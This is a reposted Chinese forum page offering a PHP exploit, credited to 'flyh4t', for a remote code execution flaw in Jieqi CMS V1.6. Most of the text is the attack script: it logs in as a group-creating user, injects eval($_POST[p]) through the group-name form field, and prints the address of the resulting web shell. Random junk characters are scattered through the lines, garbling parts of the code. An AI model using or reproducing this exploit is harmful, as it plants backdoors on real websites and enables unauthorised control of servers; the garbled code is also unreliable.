Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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5 t* a6 Z+ Q, x: w) Y4 {该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
, O6 @- \( N7 T" u8 h 需要有一个能创建圈子的用户。
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, U; B7 P6 f" [: S2 ~6 Q. R<?php
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print_r('
! P$ Q! Y' z' h. ~- I+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
% @/ V" O$ E0 o' W2 h5 e3 q9 y  Sby flyh4t
6 A8 m' {. r+ I0 Gmail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
7 G3 V9 P2 @# @0 m' m  I+ P*/ if ($argc < 5) { print_r('
6 e; h3 E6 d% {, ]2 w9 |% B+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
1 h1 f9 n1 q. D9 ]host:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
Example:
  {# v* ^; G6 X5 F( X/ Hphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
. C" G3 I" M2 ?5 k/ K2 ?# K8 \/ a+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
- |% u- s  d: O; f8 w- dContent-Disposition: form-data; name="gname"
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) S# P. Z* ~- g/ O9 P6 Y3 Y8 R'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
7 X& {1 d# u5 x& j+ y! MContent-Disposition: form-data; name="gcatid"

1
-----------------------------23281168279961
+ a; _% Q& K; W: r. uContent-Disposition: form-data; name="gaudit"

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: _, {- _2 M# f: R9 F: u! D7 E" k-----------------------------23281168279961
1 M1 ?/ I' y9 R3 FContent-Disposition: form-data; name="gbrief"
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-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
! _5 \% G9 G  o4 B7 Q, G5 M/ c. f
. ~; H) B% c- z( M$ S4 rpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;